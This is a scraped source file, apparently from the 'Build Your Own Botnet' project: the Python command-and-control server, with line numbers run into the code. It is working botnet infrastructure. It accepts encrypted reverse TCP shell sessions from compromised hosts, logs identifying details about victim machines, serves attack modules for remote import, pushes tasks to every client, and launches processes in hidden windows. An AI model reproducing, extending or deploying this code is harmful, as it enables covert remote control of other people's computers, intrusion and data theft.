Path: blob/master/web-gui/buildyourownbotnet/server.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Command & Control (Build Your Own Botnet)'3from __future__ import print_function45# standard library6import os7import sys8import time9import uuid10import json11import struct12import base6413import socket14import random15import pprint16import inspect17import hashlib18import argparse19import requests20import threading21import subprocess22import collections23from datetime import datetime2425http_serv_mod = "SimpleHTTPServer"26if sys.version_info[0] > 2:27http_serv_mod = "http.server"28sys.path.append('core')29sys.path.append('modules')3031from .models import db32from .core import security, util33from .core.dao import session_dao3435# globals36__threads = {}37__abort = False3839class C2(threading.Thread):40"""41Console-based command & control server with a streamlined user-interface for controlling clients42with reverse TCP shells which provide direct terminal access to the client host machines, as well43as handling session authentication & management, serving up any scripts/modules/packages requested44by clients to remotely import them, issuing tasks assigned by the user to any/all clients, handling45incoming completed tasks from clients4647"""4849def __init__(self, host='0.0.0.0', port=1337, debug=False):50"""51Create a new Command & Control server5253`Optional`54:param str host: IP address (defaut: 0.0.0.0)55:param int port: Port number (default: 1337)5657Returns a byob.server.C2 instance5859"""60super(C2, self).__init__()61self.host = host62self.port = port63self.debug = debug64self.sessions = {}65self.child_procs = {}66self.app_client = None67self.socket = self._init_socket(self.port)68self.commands = {69'exit' : {70'method': self.quit,71'usage': 'exit',72'description': 'quit the server'},73'eval' : {74'method': self.py_eval,75'usage': 'eval <code>',76'description': 'execute python code in current context with built-in eval() method'},77'exec' : {78'method': self.py_exec,79'usage': 'exec <code>',80'description': 'execute python code in current context with built-in exec() method'}81}82self._setup_server()8384def _setup_server(self):85# directory containing BYOB modules86modules = os.path.abspath('buildyourownbotnet/modules')8788# directory containing user intalled Python packages89site_packages = [os.path.abspath(_) for _ in sys.path if os.path.isdir(_) if 'mss' in os.listdir(_)]9091if len(site_packages):92n = 093globals()['packages'] = site_packages[0]94for path in site_packages:95if n < len(os.listdir(path)):96n = len(os.listdir(path))97globals()['packages'] = path98else:99print("unable to locate directory containing user-installed packages")100sys.exit(0)101102tmp_file=open(".log","w")103104# don't run multiple instances105try:106# serve packages107globals()['package_handler'] = subprocess.Popen('{0} -m {1} {2}'.format(sys.executable, http_serv_mod, self.port + 2), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=globals()['packages'], shell=True)108util.log("Serving Python packages from {0} on port {1}...".format(globals()['packages'], self.port + 2))109110# serve modules111globals()['module_handler'] = subprocess.Popen('{0} -m {1} {2}'.format(sys.executable, http_serv_mod, self.port + 1), 0, None, subprocess.PIPE, stdout=tmp_file, stderr=tmp_file, cwd=modules, shell=True)112util.log("Serving BYOB modules from {0} on port {1}...".format(modules, self.port + 1))113114globals()['c2'] = self115globals()['c2'].start()116except Exception as e:117print("server.C2 failed to launch package_handler and module_handler. Exception: " + str(e))118119def _init_socket(self, port):120s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)121s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)122s.bind(('0.0.0.0', port))123s.listen(128)124return s125126def _execute(self, args):127# ugly method that should be refactored at some point128if args.count('"') == 2:129path, args = [i.strip() for i in args.split('"') if i if not i.isspace()]130else:131path, args = [i for i in args.partition(' ') if i if not i.isspace()]132args = [path] + args.split()133if os.path.isfile(path):134name = os.path.splitext(os.path.basename(path))[0]135try:136info = subprocess.STARTUPINFO()137info.dwFlags = subprocess.STARTF_USESHOWWINDOW , subprocess.CREATE_NEW_ps_GROUP138info.wShowWindow = subprocess.SW_HIDE139self.child_procs[name] = subprocess.Popen(args, startupinfo=info)140return "Running '{}' in a hidden process".format(path)141except Exception as e:142try:143self.child_procs[name] = subprocess.Popen(args, 0, None, None, subprocess.PIPE, subprocess.PIPE)144return "Running '{}' in a new process".format(name)145except Exception as e:146util.log("{} error: {}".format(self._execute.__name__, str(e)))147else:148return "File '{}' not found".format(str(path))149150def bind_app(self, app):151"""152Bind Flask app instance to server.153154:param app_client Flask: app client instance155"""156self.app_client = app.test_client()157158def py_exec(self, code):159"""160Execute code directly in the context of the currently running process161using Python's built-in exec() function.162163Used for dynamically generated code blocks; can modify/declare variables etc.164165Returns None.166167`Requires`168:param str code: Python code to execute169170"""171try:172print(code)173exec(code)174except Exception as e:175print(e)176177def py_eval(self, code):178"""179Evaluate code directly in the context of the currently running process180using Python's built-in eval() function.181182183Use for evaluating dynamically generated single expressions; cannot modify/assign variables.184185Returns output of the expression.186187`Requires`188:param str code: Python code to execute189190"""191try:192print(eval(code))193except Exception as e:194print(e)195196def quit(self):197"""198Quit server and optionally keep clients alive199200"""201# kill http servers hosting packages and modules202globals()['package_handler'].terminate()203globals()['module_handler'].terminate()204205# put sessions in passive mode206for owner, sessions in self.sessions.items():207for session_id, session in sessions.items():208if isinstance(session, SessionThread):209try:210session.send_task({"task": "passive"})211except: pass212213# kill subprocesses (subprocess.Popen or multiprocessing.Process)214for proc in self.child_procs.values():215try:216proc.kill()217except: pass218try:219proc.terminate()220except: pass221222# forcibly end process223globals()['__abort'] = True224_ = os.popen("taskkill /pid {} /f".format(os.getpid()) if os.name == 'nt' else "kill {}".format(os.getpid())).read()225util.log('Exiting...')226sys.exit(0)227228@util.threaded229def serve_until_stopped(self):230while True:231232connection, address = self.socket.accept()233234session = SessionThread(connection=connection, c2=self)235if session.info != None:236237# database stores identifying information about session238response = self.app_client.post('/api/session/new', json=dict(session.info))239if response.status_code == 200:240session_metadata = response.json241session_uid = session_metadata.get('uid')242243# display session information in terminal244session_metadata.pop('new', None)245session.info = session_metadata246247# add session to user sessions dictionary248owner = session.info.get('owner')249if owner not in self.sessions:250self.sessions[owner] = {}251252self.sessions[owner][session_uid] = session253util.log('New session {}:{} connected'.format(owner, session_uid))254else:255util.log("Failed Connection: {}".format(address[0]))256257abort = globals()['__abort']258if abort:259break260261@util.threaded262def serve_resources(self):263"""264Handles serving modules and packages in a seperate thread265266"""267host, port = self.socket.getsockname()268while True:269time.sleep(3)270globals()['package_handler'].terminate()271globals()['package_handler'] = subprocess.Popen('{} -m {} {}'.format(sys.executable, http_serv_mod, port + 2), 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, cwd=globals()['packages'], shell=True)272273def run(self):274"""275Run C2 server administration terminal276277"""278if self.debug:279util.display('parent={} , child={} , args={}'.format(inspect.stack()[1][3], inspect.stack()[0][3], locals()))280if 'c2' not in globals()['__threads']:281globals()['__threads']['c2'] = self.serve_until_stopped()282283# admin shell for debugging284if self.debug:285while True:286try:287raw = input('byob-admin> ')288289# handle new line290if raw in ['\n']:291continue292293# handle quit/exit command294if raw in ['exit','quit']:295break296297# use exec/eval methods if specified, otherwise use eval298cmd, _, code = raw.partition(' ')299300if cmd in self.commands:301self.commands[cmd]['method'](code)302else:303self.py_eval(cmd)304except KeyboardInterrupt:305break306self.quit()307308309class SessionThread(threading.Thread):310"""311A subclass of threading.Thread that is designed to handle an312incoming connection by creating an new authenticated session313for the encrypted connection of the reverse TCP shell314315"""316317def __init__(self, connection=None, id=0, c2=None):318"""319Create a new Session320321`Requires`322:param connection: socket.socket object323324`Optional`325:param int id: session ID326327"""328super(SessionThread , self).__init__()329self.created = datetime.utcnow()330self.id = id331self.c2 = c2332self.connection = connection333try:334self.key = security.diffiehellman(self.connection)335self.info = self.client_info()336self.info['id'] = self.id337except Exception as e:338util.log("Error creating session: {}".format(str(e)))339self.info = None340341def kill(self):342"""343Kill the reverse TCP shell session344345"""346# get session attributes347owner = self.info['owner']348session_id = self.info['id']349session_uid = self.info['uid']350351# get owner sessions352owner_sessions = self.c2.sessions.get(owner)353354# find this session in owner sessions355if session_uid in owner_sessions:356session = owner_sessions[session_uid]357358# set session status as offline in database359session_dao.update_session_status(session_uid, 0)360361# send kill command to client and shutdown the connection362try:363session.send_task({"task": "kill"})364session.connection.shutdown(socket.SHUT_RDWR)365session.connection.close()366except: pass367368_ = owner_sessions.pop(session_uid, None)369370util.log('Session {}:{} disconnected'.format(owner, session_uid))371else:372util.log('Session {}:{} is already offline.'.format(owner, session_uid))373374375def client_info(self):376"""377Get information about the client host machine378to identify the session379380"""381header_size = struct.calcsize("!L")382header = self.connection.recv(header_size)383msg_size = struct.unpack("!L", header)[0]384msg = self.connection.recv(msg_size)385data = security.decrypt_aes(msg, self.key)386info = json.loads(data)387for key, val in info.items():388if str(val).startswith("_b64"):389info[key] = base64.b64decode(val[6:]).decode('ascii')390return info391392def send_task(self, task):393"""394Send task results to the server395396`Requires`397:param dict task:398:attr str uid: task ID assigned by server399:attr str task: task assigned by server400:attr str result: task result completed by client401:attr str session: session ID assigned by server402:attr datetime issued: time task was issued by server403:attr datetime completed: time task was completed by client404405Returns True if succesfully sent task to server, otherwise False406407"""408if not isinstance(task, dict):409raise TypeError('task must be a dictionary object')410if not 'session' in task:411task['session'] = self.id412data = security.encrypt_aes(json.dumps(task), self.key)413msg = struct.pack('!L', len(data)) + data414415self.connection.sendall(msg)416return True417418def recv_task(self):419"""420Receive and decrypt incoming task from server421422:returns dict task:423:attr str uid: task ID assigned by server424:attr str session: client ID assigned by server425:attr str task: task assigned by server426:attr str result: task result completed by client427:attr datetime issued: time task was issued by server428:attr datetime completed: time task was completed by client429430"""431432header_size = struct.calcsize('!L')433header = self.connection.recv(header_size)434if len(header) == 4:435msg_size = struct.unpack('!L', header)[0]436msg = self.connection.recv(8192)437try:438data = security.decrypt_aes(msg, self.key)439return json.loads(data)440except Exception as e:441util.log("{0} error: {1}".format(self.recv_task.__name__, str(e)))442return {443"uid": uuid.uuid4().hex,444"session": self.info.get('uid'),445"task": "",446"result": "Error: client returned invalid response",447"issued": datetime.utcnow().__str__(),448"completed": ""449}450else:451# empty header; peer down, scan or recon. Drop.452return 0453454455